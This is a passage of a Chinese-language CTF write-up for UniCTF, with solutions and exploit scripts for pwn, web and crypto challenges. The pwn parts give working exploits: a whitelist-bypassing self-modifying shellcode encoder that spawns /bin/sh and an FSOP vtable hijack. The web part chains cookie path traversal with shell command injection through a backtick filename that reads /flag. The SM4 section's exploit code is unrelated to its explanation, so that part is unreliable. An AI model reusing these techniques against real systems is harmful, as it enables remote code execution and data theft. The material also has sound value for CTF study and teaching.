io.send(shellcode)
io.interactive()
if __name__ == '__main__':
solve()
cat flag没有东西

查看 start.sh 发现 flag 被移动到了 /data/flag。

UniCTF{a8bdf87e-1e4b-409a-8446-b14e17f909e3}
smcode




程序读取用户输入,逐字节检查是否在Fibonacci数列(0, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233)对应的 FIB_BYTES 白名单中。检查通过后跳转执行。
解题原理:SMC
由于syscall指令(0x0f 0x05)不在白名单中,无法直接写入shellcode。利用mmap拥有写权限,构造一段Decoder(解码器),在运行时动态计算出shellcode并写入内存,然后滑行执行。
利用指令:
清零寄存器:AND AL, [RIP+offset] (22 05 ...),配合后续的0字节数据使 AL=0。
构造Shellcode字节:ADD EAX, imm32 (05 ...)。利用白名单中的数字累加凑出目标字节。
写入内存:ADD [RIP+offset], AL (00 05 ...)。将凑好的字节写入后续的占位符(初始为0)中。
调整偏移:由于 RIP+offset 中的 offset 必须也是白名单字符,通过填充 NOP (0x90) 调整当前指令位置,直到相对偏移量合法。
exp.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
io = remote('nc1.ctfplus.cn', 37694)
FIB_BYTES = [0, 1, 2, 3, 5, 8, 0xD, 0x15, 0x22, 0x37, 0x59, 0x90, 0xE9]
def is_valid_offset(val):
b = p32(val)
for byte in b:
if byte not in FIB_BYTES:
return False
return True
def get_fib_sum(target):
target = target % 256
components = []
while target > 0:
found = False
for f in sorted(FIB_BYTES, reverse=True):
if f <= target and f != 0:
components.append(f)
target -= f
found = True
break
if not found:
raise ValueError("Cannot construct value")
return components
target_shellcode = b"x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05"
payload = bytearray()
payload += b'x22x05x02x00x00x00'
payload += b'x05x00x00x00x00'
current_al = 0
shellcode_offset_start = 0x600
for i, target_byte in enumerate(target_shellcode):
needed = (target_byte - current_al) % 256
if needed != 0:
components = get_fib_sum(needed)
for val in components:
payload += b'x05' + p8(val) + b'x00x00x00'
current_al = (current_al + val) % 256
while True:
target_pos = shellcode_offset_start + i
current_pos = len(payload)
rel_offset = target_pos - (current_pos + 6)
if rel_offset < 0:
log.error("Shellcode offset too close! Increase shellcode_offset_start.")
exit()
if is_valid_offset(rel_offset):
payload += b'x00x05' + p32(rel_offset)
break
else:
payload += b'x90'
while len(payload) < shellcode_offset_start:
payload += b'x90'
payload += b'x00' * len(target_shellcode)
log.info(f"Payload length: {len(payload)}")
if len(payload) > 0x1000:
log.error("Payload too large!")
exit()
io.recvuntil(b"Input your shellcode")
io.send(payload)
try:
io.recvuntil(b"[+]")
log.success("Check passed! Shellcode executing...")
io.interactive()
except Exception as e:
log.error("Exploit failed or connection closed.")
print(io.recvall())

UniCTF{690817b0-0dd3-4d86-87cd-130471a2aa24}
Uni_check


侦查
访问 Web 服务发现存在以下端点:
/:主页,设置 Session Cookie。/check:触发后端运行python3 check.py。/download:下载文件,参数支持file和ext,可用于下载源码(file=..&ext=zip)。



漏洞点 1:任意文件创建 (Go)
通过分析 Go 二进制文件,发现服务器在处理 Session Cookie 时存在路径遍历漏洞。 如果发送 Cookie session=../filename,服务器会在 Web 根目录下创建一个名为 filename 的空文件(或包含 Session 数据的文件)。
漏洞点 2:命令注入
在 check.py 中,cleanup_illegal_files 函数负责删除非白名单文件:
delete_cmd = f"rm -f {self.base_dir}/{fname}"
subprocess.run(delete_cmd, shell=True, ...)
此处直接将文件名 fname 拼接到命令中,且使用了 shell=True。如果文件名包含 Shell 特殊字符(如反引号、$()、; 等),即可在删除文件时触发命令执行。
利用思路
构造 Payload 文件名: 我们需要执行 cat /flag > F4。 由于 Linux 文件名不能包含斜杠 /,我们需要用 Base64 编码绕过:echo L2ZsYWc=|base64 -d 等价于 /flag。 最终文件名构造为:`cat $(echo L2ZsYWc=|base64 -d)>F4`。
埋雷: 利用 Go 服务的 Session 漏洞,发送 Cookie: session=../<Payload_Filename>。这会在服务器 Web 根目录下创建这个以恶意命令命名的文件。
引爆 : 访问 /check。 check.py 扫描到这个“非法文件”,执行 rm -f ./<Payload_Filename>。 Shell 解析文件名中的反引号,优先执行 cat /flag > F4。 此时 flag 被写入到根目录下的 F4 文件中。
注意:由于 F4 是在扫描阶段之后生成的,它不会被当前的清理循环删除。
收网 : 访问 /download?file=..&ext=zip 下载整个 Web 目录的压缩包,解压读取 F4 文件即可获得 flag。
exp.py
import requests
import zipfile
import io
import base64
TARGET = "http://nc1.ctfplus.cn:36293"
def solve():
cmd = "cat /flag > F4"
b64_cmd = base64.b64encode(cmd.encode()).decode()
payload_filename = f"`cat $(echo {b64_cmd}|base64 -d)>F4`"
cookie_payload = f"../{payload_filename}"
cookies = {
"session": cookie_payload
}
try:
requests.get(TARGET, cookies=cookies, timeout=5)
except Exception:
pass
try:
requests.get(f"{TARGET}/check", timeout=5)
except Exception:
pass
try:
r = requests.get(f"{TARGET}/download", params={"file": "..", "ext": "zip"}, timeout=10)
if r.status_code == 200:
with zipfile.ZipFile(io.BytesIO(r.content)) as z:
if "F4" in z.namelist():
flag = z.read("F4").decode().strip()
print(f"[SUCCESS] FLAG: {flag}")
else:
print("[-] Exploited but F4 not found in zip.")
else:
print(f"[-] Download failed: {r.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
solve()

UniCTF{34111a3e-7970-461a-a12a-8a637df9ecbd}
EZIO


程序逻辑:main 函数通过 read 读取输入到全局变量 buf,随后将 buf 强转为 FILE* 指针并调用 fclose 关闭流。
漏洞点:典型的 FSOP。由于 FILE 结构体完全由我们控制,且程序使用的 libc 版本(2.23)较老,不存在 vtable check。
利用思路:
伪造一个 FILE 结构体。
修改结构体中的 vtable 指针,使其指向我们在 buf 中伪造的虚表。
将虚表中的函数指针填为 getshell 函数地址。
绕过 _lock 检查(指向可写的 NULL 内存)。
当 fclose 触发时,程序会通过虚表跳转执行 getshell。
exe.py
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
binary_file = './EzIO'
elf = ELF(binary_file)
# io = process(binary_file)
io = remote('nc1.ctfplus.cn', 49761)
buf_addr = elf.symbols['buf']
getshell_addr = elf.symbols['getshell']
fake_file = FileStructure(null=0x0)
fake_file.flags = 0xfbad2488
fake_file._lock = buf_addr + 0x200
fake_file.vtable = buf_addr + 0xd8
payload = bytes(fake_file)
payload = payload.ljust(0xd8, b'x00')
payload += p64(getshell_addr) * 20
payload = payload.ljust(0x200, b'x00')
io.send(payload)
io.interactive()

UniCTF{f973ad8d-fe15-4930-bb45-11d680ce46f6}
Crypto
Subgroup-Weaver


task.py
from random import randint, randbytes
from Crypto.Util.number import bytes_to_long
from secret import flag
key = randbytes(64)
def gen(bits):
return sum(randint(1, 7) % 2 * 2**i for i in range(bits))
def otp():
return bytes_to_long(key) ^ gen(len(key) * 8)
while input('> ') != key.hex():
print(otp())
print(f'your prize: {flag}')
题目给出了一个 OTP加密服务,核心逻辑如下:
Key: 64字节的随机数据(固定不变),Mask: 由 gen 函数生成,每位取值为
$$
randint(1, 7) % 2
$$
加密:Output = Key ^ Mask
漏洞原理
randint(1, 7) 生成 1~7 的整数,模 2 后的结果分布不均匀:
$$
结果为 1 的数字:1, 3, 5, 7 (共4个) -> 概率
P(1)=4/7≈57%P(1)=4/7≈57%
$$
$$
结果为 0 的数字:2, 4, 6 (共3个) -> 概率
P(0)=3/7≈43%P(0)=3/7≈43%
$$
由于 Mask 每一位为 1 的概率大于 0.5,这导致加密输出产生统计偏差:
$$
若 Key 的某一位为 0:Output=0⊕Mask=MaskOutput=0⊕Mask=Mask。此时 Output 为 1 的概率是 57% (> 50%)。
$$
$$
若 Key 的某一位为 1:Output=1⊕Mask=∼MaskOutput=1⊕Mask=∼Mask。此时 Output 为 1 的概率是 43% (< 50%)。
$$
解题思路
与服务器交互,请求大量 OTP 样本(如 1200 次)。
按位统计:对 512 位 Key 的每一位,计算样本中该位为 1 的出现频率。
判决:频率 > 0.5 则 Key 位为 0,否则为 1。
重组 Key 并提交,获取 Flag。
exp.py
from pwn import *
from tqdm import tqdm
context.log_level = 'error'
def solve():
host = 'nc1.ctfplus.cn'
port = 26139
print(f"[+] 连接到 {host}:{port}")
try:
io = remote(host, port)
except:
print("连接失败")
return
N = 1200
samples = []
io.recvuntil(b'> ')
print(f"[*] 正在收集 {N} 组 OTP 样本 (这可能需要一分钟)...")
try:
iterator = tqdm(range(N))
except ImportError:
iterator = range(N)
for i in iterator:
io.sendline(b'1')
try:
line = io.recvline().strip()
if not line:
line = io.recvline().strip()
val = int(line)
samples.append(val)
io.recvuntil(b'> ')
except Exception as e:
print(f"[-] 接收数据出错: {e}")
break
print("[*] 样本收集完毕,开始计算 Key...")
recovered_int = 0
total_bits = 64 * 8
for bit_index in range(total_bits):
ones_count = 0
for s in samples:
if (s >> bit_index) & 1:
ones_count += 1
if ones_count > (N / 2):
k_bit = 0
else:
k_bit = 1
recovered_int |= (k_bit << bit_index)
try:
key_bytes = recovered_int.to_bytes(64, 'big')
key_hex = key_bytes.hex()
print(f"[+] 计算出的 Key: {key_hex}")
print("[*] 发送 Key...")
io.sendline(key_hex.encode())
io.interactive()
except Exception as e:
print(f"[-] 转换或发送失败: {e}")
if __name__ == '__main__':
solve()

UniCTF{unb@l@nc3_0f64aa31b82ab}
Subgroup-Scribe

task.py
from os import urandom
from random import randint
from secret import flag
sbox = [147, 138, 104, 87, 5, 201, 249, 141, 243, 72, 71, 221, 97, 174, 48, 155,
114, 225, 117, 105, 224, 70, 7, 108, 190, 146, 145, 130, 46, 209, 229, 226,
15, 112, 103, 27, 91, 181, 253, 183, 152, 165, 110, 44, 160, 66, 116, 0,
75, 26, 61, 96, 127, 157, 197, 164, 172, 20, 37, 68, 202, 101, 9, 3,
109, 31, 208, 98, 11, 144, 79, 25, 239, 231, 43, 36, 10, 2, 170, 251,
161, 135, 134, 166, 136, 177, 215, 82, 244, 218, 47, 137, 242, 76, 233, 115,
182, 153, 214, 84, 13, 159, 60, 74, 65, 54, 163, 56, 180, 30, 139, 236,
67, 64, 80, 119, 40, 206, 148, 93, 217, 81, 126, 162, 185, 186, 77, 234,
45, 142, 230, 179, 34, 193, 124, 107, 125, 198, 90, 23, 12, 232, 100, 16,
120, 59, 1, 6, 102, 24, 133, 176, 150, 187, 28, 51, 195, 85, 196, 219,
167, 227, 38, 55, 248, 241, 204, 235, 192, 194, 52, 252, 247, 4, 212, 58,
78, 245, 240, 21, 14, 29, 169, 8, 121, 86, 118, 184, 143, 129, 69, 205,
132, 213, 246, 238, 73, 53, 122, 62, 35, 210, 250, 149, 17, 203, 111, 18,
158, 33, 151, 50, 83, 57, 92, 123, 95, 63, 216, 189, 173, 175, 220, 94,
106, 41, 222, 154, 89, 156, 171, 32, 200, 88, 254, 99, 140, 228, 188, 207,
19, 113, 255, 49, 237, 223, 191, 168, 42, 211, 22, 199, 128, 39, 178, 131]
FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [0x00070E15, 0x8C939AA1, 0x181F262D, 0xA4ABB2B9, 0xAC019832, 0XD8DFE6ED, 0X2C333A41]
def rotl(x, n):
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
def tau(a):
return ((sbox[(a >> 24) & 0xFF] << 24) |
(sbox[(a >> 16) & 0xFF] << 16) |
(sbox[(a >> 8) & 0xFF] << 8) |
sbox[a & 0xFF])
def L(b):
return b ^ rotl(b, 2) ^ rotl(b, 10) ^ rotl(b, 18) ^ rotl(b, 24)
def T(x):
return L(tau(x))
def T_prime(x):
b = tau(x)
return b ^ rotl(b, 13) ^ rotl(b, 23)
def gen_key(mk_int):
k = [(mk_int >> 96) & 0xFFFFFFFF, (mk_int >> 64) & 0xFFFFFFFF,
(mk_int >> 32) & 0xFFFFFFFF, mk_int & 0xFFFFFFFF]
k = [k[0] ^ FK[0], k[1] ^ FK[1], k[2] ^ FK[2], k[3] ^ FK[3]]
rk = []
for i in range(7):
k_next = k[i] ^ T_prime(k[i+1] ^ k[i+2] ^ k[i+3] ^ CK[i])
k.append(k_next)
rk.append(k_next)
return rk
def encrypt(msg, key):
assert len(msg) == len(key) == 16
msg = int.from_bytes(msg)
key = int.from_bytes(key)
rk = gen_key(key)
x = [(msg >> 96) & 0xFFFFFFFF, (msg >> 64) & 0xFFFFFFFF,
(msg >> 32) & 0xFFFFFFFF, msg & 0xFFFFFFFF]
for i in range(7):
x_next = x[0] ^ T(x[1] ^ x[2] ^ x[3] ^ rk[i])
x = x[1:] + [x_next]
y = x[::-1]
return int.to_bytes((y[0] << 96) | (y[1] << 64) | (y[2] << 32) | y[3], 16)
def enc_ecb(msg, key):
assert len(msg) % 16 == len(key) % 16 == 0
msg = [msg[16 * i : 16 * i + 16] for i in range(len(msg) // 16)]
enc = []
for i in msg:
enc += [encrypt(i, key)]
key = bytes([sbox[i] for i in key])
return b''.join(enc)
ROUNDS = 128
for r in range(ROUNDS):
print(f"--- Round {r + 1}/{ROUNDS} ---")
key = urandom(16)
coin = randint(0, 1)
msg = bytes.fromhex(input('msg > '))
if len({*zip(*[iter(msg)] * 16)}) * 16 != len(msg): print('🤡'); exit()
enc = enc_ecb(msg, key)
print(f'hint: {[enc.hex(), urandom(len(enc)).hex()][coin]}')
if int(input('give me coin > ')) != coin: print('🤬'); exit()
print(f'😊: {flag}')

考点:SM4 (7轮) 差分分析、S盒置换周期、区分器构造
解题思路
密钥更新机制分析:题目中的密钥更新方式为
$$
key = bytes([sbox[i] for i in key])
$$
这是一个简单的基于S盒的字节代换。由于S盒是有限域上的置换,不断迭代必然产生循环。通过计算S盒所有循环节的最小公倍数(LCM),得到周期 L = 128。这意味着第0块和第128块使用的是完全相同的密钥。
7轮SM4差分特性:针对7轮的类SM4结构,可以构造一个必然存在的差分路径。
$$
输入差分:构造 P1=(0,0,0,0)P1=(0,0,0,0) 和 P2=(α,α,α,0)P2=(α,α,α,0),其中 α=1α=1。
$$
前3轮:由于SM4的异或性质,前3轮输入到 TT 函数的差分为
$$
α⊕α⊕0=0α⊕α⊕0=0
$$
或者类似抵消,导致前几轮是非线性的 TT 函数没有活性,差分线性传播。
第4轮:差分汇聚,TT 函数的输入差分变为 αα。
特征:经过推导,密文的最后一个字(Word)的差分完全由第4轮 TT 函数的输出差分决定。
区分器:对于随机数据,密文末尾字的差分是均匀分布的2的32次方*232种可能;而对于加密数据,该差分必须落在集合
$$
D={L(S(x)⊕S(x⊕α))∣x∈[0,255]}D={L(S(x)⊕S(x⊕α))∣x∈[0,255]} 中。该集合大小仅为98左右。
$$
攻击流程:
构造Payload:长度为129个块。第0块为全0,第128块为 (1,1,1,0)(1,1,1,0),中间填充随机块。
$$
发送并获取密文,提取第 0 块密文 C0(C0)和第 128 块密文 C128(C128)。
$$
计算末尾字的差分
$$
Δ=C0[−4:]⊕C128[−4:]Δ=C0[−4:]⊕C128[−4:]
$$
若 ΔΔ 在预计算的合法差分集合中,则为加密数据(Coin=0),否则为随机数据(Coin=1)。
exe.py
from fractions import Fraction
import struct
roots = [-37, -9, -4, 5, 6, 17]
c6 = 44114
c7 = -606
c8 = 1
A = []
b = []
for x in roots:
row = [Fraction(x**j) for j in range(0, 6)]
rhs = - (Fraction(c6 * (x**6)) + Fraction(c7 * (x**7)) + Fraction(c8 * (x**8)))
A.append(row)
b.append(rhs)
def gauss_solve(A, b):
n = len(A)
m = len(A[0])
M = [A[i][:] + [b[i]] for i in range(n)]
row = 0
col = 0
while row < n and col < m:
sel = None
for i in range(row, n):
if M[i][col] != 0:
sel = i
break
if sel is None:
col += 1
continue
M[row], M[sel] = M[sel], M[row]
piv = M[row][col]
M[row] = [v / piv for v in M[row]]
for i in range(n):
if i != row and M[i][col] != 0:
factor = M[i][col]
M[i] = [M[i][j] - factor * M[row][j] for j in range(m + 1)]
row += 1
col += 1
sol = [M[i][-1] for i in range(n)]
return sol
sol = gauss_solve(A, b)
coeffs_exact = [int(s) for s in sol] + [c6, c7, c8]
print("Solved (exact) coefficients (c0..c8):")
for i, v in enumerate(coeffs_exact):
print(f" c[{i}] = {v}")
def pack_int32_signed(x):
ux = x & 0xFFFFFFFF
return struct.pack('<I', ux)
c = coeffs_exact
Src = [0]*7
Src[0] = c[0]
Src[1] = c[1]
Src[2] = c[2]
Src[3] = c[3]
low4 = c[4] & 0xFFFF
high4 = c[5] & 0xFFFF
Src[4] = (high4 << 16) | low4
low5 = c[6] & 0xFFFF
high5 = c[7] & 0xFFFF
Src[5] = (high5 << 16) | low5
Src[6] = (0 << 16) | (c[8] & 0xFFFF)

UniCTF{5OM37im3Z_W3_N33D_7O_p4Y_4773n7iON_7o_73h_58OX____63c7dd70}
NTRU

public.py
"""
NTRU Challenge - Public Parameters
"""
N = 31
p = 257
q = 12289
h = [9603, 11838, 1242, 5868, 12249, 3130, 3722, 5910, 5879, 7672, 1119, 339, 10748, 7310, 6370, 9353, 10589, 10739, 10213, 2560, 5132, 4889, 11292, 2649, 2556, 8037, 3146, 9533, 11563, 1554, 304]
c = [91, 11459, 932, 4345, 12153, 9504, 5147, 7268, 2493, 8891, 8712, 5785, 11608, 7683, 11327, 8453, 10380, 6004, 7849, 1622, 6154, 10369, 10278, 769, 11676, 11492, 4564, 5445, 10909, 11502, 12216]
if __name__ == "__main__":
print("NTRU Challenge Parameters:")
print(f"N = {N}")
print(f"p = {p}")
print(f"q = {q}")
print(f"r_weight = 4")
print("h (first 5):", h[:5], "...")
print("c (first 5):", c[:5], "...")
print()
print("Encryption: c = r * h + m (mod q, x^N-1)")
print(f"where r has only 4 non-zero coefficients (±1)")
print("Goal: recover the message m containing the flag")
题目给出的是 NTRU 公钥密码体制的变种,已知参数 $N=31, q=12289$,加密公式为
$$
c equiv r cdot h + m pmod q
$$
关键弱点在于 N极小且 r极其稀疏
$$
r_weight = 4,系数仅为 pm 1
$$
这意味着 r 的可能性空间仅为
$$
C(31, 4) times 2^4 approx 5 times 10^5
$$
可以通过爆破 r结合密文 c 和公钥 $h$ 来还原明文 m。
exp.py
import itertools
def solve():
N = 31
q = 12289
h = [9603, 11838, 1242, 5868, 12249, 3130, 3722, 5910, 5879, 7672, 1119, 339, 10748, 7310, 6370, 9353, 10589, 10739, 10213, 2560, 5132, 4889, 11292, 2649, 2556, 8037, 3146, 9533, 11563, 1554, 304]
c = [91, 11459, 932, 4345, 12153, 9504, 5147, 7268, 2493, 8891, 8712, 5785, 11608, 7683, 11327, 8453, 10380, 6004, 7849, 1622, 6154, 10369, 10278, 769, 11676, 11492, 4564, 5445, 10909, 11502, 12216]
print(f"[*] 正在尝试暴力破解 r (N={N}, weight=4)...")
for indices in itertools.combinations(range(N), 4):
for signs in itertools.product([-1, 1], repeat=4):
candidate_m = []
for i in range(N):
rh_val = 0
for k in range(4):
r_idx = indices[k]
r_sign = signs[k]
h_idx = (i - r_idx) % N
rh_val += r_sign * h[h_idx]
m_val = (c[i] - rh_val) % q
candidate_m.append(m_val)
try:
char_list = []
for val in candidate_m:
if 32 <= val <= 126:
char_list.append(chr(val))
elif val == 0:
char_list.append('.') # 用点表示 0
else:
char_list.append('?') # 不可见字符用 ?
msg = "".join(char_list)
if "UniCTF" in msg:
print(f"n[+] 发现可能的解!")
print(f"[+] Indexes: {indices}")
print(f"[+] Signs: {signs}")
print(f"[+] Raw Ints: {candidate_m}")
print(f"[+] Message: {msg}")
return # 找到后退出
except:
continue
print("[-] 搜索结束,未找到包含 'UniCTF' 的解。")
if __name__ == "__main__":
solve()

UniCTF{pa3sw0rd_1s_ch2rmin3}
subgroup_dlp

task.py
from Crypto.Util.number import *
flag = b'UniCTF{???}'
m = bytes_to_long(flag)
n = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168
print(pow(7,m,n))
# c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697
题目分析
题目模型:
$$
给定了大整数 n、c 和 g=7,满足 c equiv g^m pmod n。我们需要求解 m 并将其转换为 flag。
$$
漏洞点: 这是一个典型的离散对数问题 (DLP)。通常 DLP 很难求解,但这里的模数 n是一个光滑数。 通过分解 n,发现它由多个较小的素数幂组成
$$
n = p_1^{e_1} cdot p_2^{e_2} cdots。
$$
解题思路
分解 n:得到所有质因数
$$
p_i^{e_i}
$$
$$
子群求解:在每个模 p_i^{e_i} 下求解 7^{x_i} equiv c pmod{p_i^{e_i}}。
$$
$$
对于 p^e 的情况(特别是本题中的 p^3),使用线性提升或计算真实阶后求解。
$$
CRT 合并:利用中国剩余定理将所有 $x_i$ 合并,得到原始的 $m$。
exp.py
import sys
from Crypto.Util.number import long_to_bytes
n = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168
c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697
g = 7
factors_list = [
(2, 5),
(3, 2),
(10711086940911733573, 1),
(188455199626845780197, 3),
(988854958862525695246052320176260067587096611000882853771819829938377275059, 1)
]
def solve_pe(base, target, p, e):
print(f" [.] Solving DLP mod p (size: {p.nbits()} bits)...")
F = GF(p)
x0 = discrete_log(F(target), F(base))
current_x = x0
full_mod = p**e
base_pow_p_minus_1 = power_mod(base, p-1, full_mod)
for i in range(1, e):
print(f" [.] Lifting to mod p^{i+1}...")
mod_next = p**(i+1)
g_x = power_mod(base, current_x, mod_next)
rem = (target * inverse_mod(g_x, mod_next)) % mod_next
val_numerator = (rem - 1) // (p**i)
val_denominator = (base_pow_p_minus_1 - 1) // p
k = (val_numerator * inverse_mod(val_denominator, p)) % p
current_x = current_x + k * (p-1) * (p**(i-1))
return current_x
dlogs = []
moduli = []
print("[*] Starting Optimized DLP with Correct Order Calculation...")
for p, e in factors_list:
pe = p ** e
print(f"n[*] Processing factor: {p}^{e}")
real_order_p = GF(p)(g).multiplicative_order()
real_full_order = real_order_p * (p**(e-1))
print(f" [-] Real Order: {real_full_order}")
if e > 1 and p > 10000:
try:
x = solve_pe(g, c, p, e)
dlogs.append(x)
moduli.append(real_full_order)
print(f" [+] Solved! x = {x}")
except Exception as err:
print(f" [!] Lifting failed: {err}")
else:
R = Zmod(pe)
g_sub = R(g)
c_sub = R(c)
x = discrete_log(c_sub, g_sub)
dlogs.append(x)
moduli.append(real_full_order)
print(f" [+] Solved! x = {x}")
print("n[*] Reconstructing m with CRT...")
try:
m = crt(dlogs, moduli)
print(f"[+] Recovered m: {m}")
flag = long_to_bytes(int(m))
print(f"n[SUCCESS] FLAG: {flag.decode()}")
except Exception as e:
print(f"[!] CRT Failed: {e}")
print("Dlogs:", dlogs)
print("Moduli:", moduli)

UniCTF{Th1s_DLP_probl3m_i5_v3ry_s1mpl3_f0r_y0u!!!}
Subgroup-Gorilla

task.py
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
from secret import flag
class algebraring(UniqueRepresentation, Parent):
def __init__(self):
Parent.__init__(self, category=CommutativeRings())
def _element_constructor_(self, x:tuple, n:int=None):
if isinstance(x, algebra): return x
if x == 0: return self.zero()
if x == 1: return self.one()
if isinstance(x, tuple) and n is not None: return algebra(self, x, n)
def __repr__(self): return "algebraring"
def zero(self): return self(("-∞",), 0)
def one(self): return self((0, 0, 0), 1)
def random_element(self, lower_bound:int =-10, upper_bound:int =10):
from random import randint
a1 = randint(lower_bound, upper_bound)
a2 = randint(lower_bound, upper_bound)
a3 = randint(lower_bound, upper_bound)
return self((a1, a2, a3), [0, 1][randint(0, 1)])
class algebra(CommutativeRingElement):
def __init__(self, parent: 'algebraring', t:tuple, n:int):
CommutativeRingElement.__init__(self, parent)
self.t = t
self.n = n
def __repr__(self):
return f"T{self.t, self.n}"
def is_zero(self):
return self.t == ("-∞",)
def f(self):
if self.is_zero():
return self.parent().zero()
elif self.n == 0:
return self
else:
p, q, r = self.t
return algebra(self.parent(), (p + q + r, p - q + r, p + q - r), 0)
def __eq__ (self, other: 'algebra'): return self.t == other.t and self.n == other.n
def __ne__(self, other: 'algebra'): return not self.__eq__(other)
def __lt__(self, other: 'algebra'):
if self.is_zero(): return not other.is_zero()
elif other.is_zero(): return False
elif self.n != other.n: return self.f() < other.f()
elif self.n == other.n and self.t < other.t: return True
else: return False
def __le__(self, other: 'algebra'): return self.__lt__(other) or self.__eq__(other)
def __gt__(self, other: 'algebra'): return not self.__le__(other)
def __ge__(self, other: 'algebra'): return not self.__lt__(other)
def __add__(self, other: 'algebra'): return [self.f(), self, other][(self.f() > other.f()) - (self.f() < other.f())]
def __mul__(self, other: 'algebra'):
if self.is_zero() or other.is_zero(): return self.parent().zero()
if self.n == other.n: return algebra(self.parent(), tuple(i + j for i, j in zip(self.t, other.t)), self.n)
elif self.n == 0 and other.n == 1: return algebra(self.parent(), tuple(i + j for i, j in zip(self.t, other.f().t)), 0)
elif self.n == 1 and other.n == 0: return algebra(self.parent(), tuple(i + j for i, j in zip(self.f().t, other.t)), 0)
def _mul_(self, other: 'algebra'): return self.__mul__(other)
gen_matrix = lambda row: matrix(T, (l := len(row)), l, lambda i, j: row[(j - i) % l])
def Multi_Party_protocol(N, T, bits):
P = random_matrix(T, N, lower_bound=0, upper_bound=2**bits)
C1 = gen_matrix([T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])
C2 = gen_matrix([T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])
C3 = gen_matrix([T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])
C4 = gen_matrix([T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])
C5 = gen_matrix([T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])
C6 = gen_matrix([T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])
K1 = C1 * P * C2
K2 = C3 * P * C4
K3 = C5 * P * C6
K4 = C1 * K3 * C2
K5 = C3 * K1 * C4
K6 = C5 * K2 * C6
KA = C1 * K6 * C2
KB = C3 * K4 * C4
KC = C5 * K5 * C6
assert KA == KB == KC
return P, K1, K6, KA
if __name__ == '__main__':
N = 5
T = algebraring()
bits = 512
P, K1, K6, KA = Multi_Party_protocol(N, T, bits)
print(f'P = {P.list()}')
print(f'K1 = {K1.list()}')
print(f'K6 = {K6.list()}')
print(f'enc = {AES.new(key=md5(str(KA).encode()).digest(), mode=AES.MODE_CTR, nonce=b'gorilla').encrypt(pad(flag, 16))}')

加密分析 题目实现了一个超热带半环密码系统。
$$
代数结构:元素 T((p,q,r), n),其中 n=1 为实体,n=0 为幽灵。
$$
运算规则:
- 乘法:对应向量相加。
- 加法:比较 f(x) 投影值的字典序,取大者。若两者 f(x) 相等,结果变为 Ghost。
$$
流程:生成私有矩阵 P 和循环矩阵 C_1, dots, C_6。计算 K_1 = C_1 P C_2 等。最终密钥为 KA = C_1 K_6 C_2 的 SageMath 格式字符串的 MD5。
$$
解密逻辑 核心是从 $K_1$ 还原 $C_1, C_2$(本质是两个向量)。
上界约束:矩阵乘法即“路径求和取最大”。因此任意路径
$$
C_1[u] + C_2[v] 的值必然小于等于结果 K_1[i,j] – P[m,k]。这给出了数值上界。
$$
$$
强制边:K_1 中 Tangible (n=1) 的元素意味着在生成该元素的求和过程中,有且仅有一条路径达到了最大值。这提供了强等式约束:C_1[u] + C_2[v] = K_1[i,j] – P[m,k]。
$$
图论求解:
- 将索引视为节点,利用等式约束构建二分图,BFS 求解相对数值。
- 分量合并:本题图不连通。需利用不等式约束计算两个连通分量间的 Offset 区间 [L, U]。取边界值将分量缝合。
格式化:还原 KA后,转字符串时必须模拟 SageMath 的全局最大宽度右对齐格式,否则 MD5 错误。
exp.py
import re
import ast
import itertools
from dataclasses import dataclass
from collections import defaultdict, deque
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
@dataclass(frozen=True)
class Elem:
t: tuple
n: int
def is_zero(self): return self.t == ("-∞",)
def f(self):
if self.is_zero(): return self
if self.n == 0: return self
p, q, r = self.t
return Elem((p+q+r, p-q+r, p+q-r), 0)
def ghost(self):
if self.is_zero(): return ("-∞",)
return self.f().t
def __lt__(self, other):
if self.is_zero(): return not other.is_zero()
if other.is_zero(): return False
if self.n != other.n: return self.f() < other.f()
return self.t < other.t
def __add__(self, other):
sf = self.f()
of = other.f()
if sf > of: return self
elif sf < of: return other
else: return sf
def __mul__(self, other):
if self.is_zero() or other.is_zero(): return Elem(("-∞",), 0)
if self.n == other.n:
return Elem(tuple(i+j for i, j in zip(self.t, other.t)), self.n)
if self.n == 0 and other.n == 1:
return Elem(tuple(i+j for i, j in zip(self.t, other.f().t)), 0)
if self.n == 1 and other.n == 0:
return Elem(tuple(i+j for i, j in zip(self.f().t, other.t)), 0)
raise ValueError("bad mul")
def __repr__(self):
if self.is_zero(): return "T(('-∞',), 0)"
p, q, r = self.t
return f"T(({p}, {q}, {r}), {self.n})"
def sage_str_matrix(M):
strs = [[repr(x) for x in row] for row in M]
w = max(len(s) for row in strs for s in row)
lines = []
for row in strs:
lines.append("[" + " ".join(s.rjust(w) for s in row) + "]")
return "n".join(lines)
def circulant_from_row(row):
n = len(row)
M = [[None]*n for _ in range(n)]
for i in range(n):
for j in range(n):
M[i][j] = row[(j-i) % n]
return M
def matmul(A, B):
n = len(A)
m = len(B[0])
k = len(B)
Z = Elem(("-∞",), 0)
out = [[Z for _ in range(m)] for __ in range(n)]
for i in range(n):
for j in range(m):
s = Z
for t in range(k):
s = s + (A[i][t] * B[t][j])
out[i][j] = s
return out
def f_inv(ghost_t):
u, v, w = ghost_t
if (v+w) % 2 or (u-v) % 2 or (u-w) % 2: return None
p = (v+w)//2; q = (u-v)//2; r = (u-w)//2
